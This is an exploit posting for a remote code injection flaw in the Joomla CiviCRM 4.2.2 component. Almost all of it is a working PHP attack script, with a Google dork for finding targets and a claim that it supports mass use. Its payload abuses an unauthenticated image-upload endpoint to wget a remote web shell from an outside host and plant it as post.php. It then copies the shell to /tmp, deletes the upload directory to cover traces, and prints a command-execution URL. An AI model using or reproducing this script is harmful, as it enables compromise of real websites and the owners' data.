Joomla! Component com_civicrm 4.2.2 – Remote Code Injection
# Exploit Title: joomla component com_civicrm remode code injection exploit # Google Dork:"Index of /joomla/administrator/components/com_civicrm/civicrm/packages/OpenFlashChart" # Date: 20/04/2013 # Exploit Author: iskorpitx # Vendor Homepage: http://civicrm.org # Software Link: http://civicrm.org/blogs/yashodha/announcing-civicrm-422 # Version: [civicrm 4.2.2] # Tested on: Win8 Pro x64 # CVE : http://www.securityweb.org <?php # Joomla component com_civicrm OpenFlashCart ofc_upload_image.php remote code injection exploit # http://www.securityweb.org & http://www.security.biz.tr # multithreading mass c:\appserv\www>exp.php -u http://target.com/ -f post.php $options = getopt('u:f:'); if(!isset($options['u'], $options['f'])) die("\n Usage example: php jnews.php -u http://target.com/ -f post.php\n -u http://target.com/ The full path to Joomla! -f post.php The name of the file to create.\n"); $url = $options['u']; $file = $options['f']; $shell = "{$url}administrator/components/com_civicrm/civicrm/packages/OpenFlashChart/tmp-upload-images/{$file}"; $url = "{$url}administrator/components/com_civicrm/civicrm/packages/OpenFlashChart/php-ofc-library/ofc_upload_image.php?name={$file}"; $data = '<?php system("wget http://www.securityweb.org/shell.txt; mv shell.txt post.php"); system("cp post.php ../../../../../../../tmp/post.php"); system("cd ..; rm -rf tmp-upload-images"); echo "by iskorpitx" ; fclose ( $handle ); ?>'; $headers = array('User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20100101 Firefox/15.0.1', 'Content-Type: text/plain'); echo " [+] Submitting request to: {$options['u']}\n"; $handle = curl_init(); curl_setopt($handle, CURLOPT_URL, $url); curl_setopt($handle, CURLOPT_HTTPHEADER, $headers); curl_setopt($handle, CURLOPT_POSTFIELDS, $data); curl_setopt($handle, CURLOPT_RETURNTRANSFER, true); $source = curl_exec($handle); curl_close($handle); if(!strpos($source, 'Undefined variable: HTTP_RAW_POST_DATA') && @fopen($shell, 'r')) { echo " [+] Exploit completed successfully!\n"; echo " ______________________________________________\n\n {$shell}?cmd=system('id');\n"; } else { die(" [+] Exploit was unsuccessful.\n"); } ?> |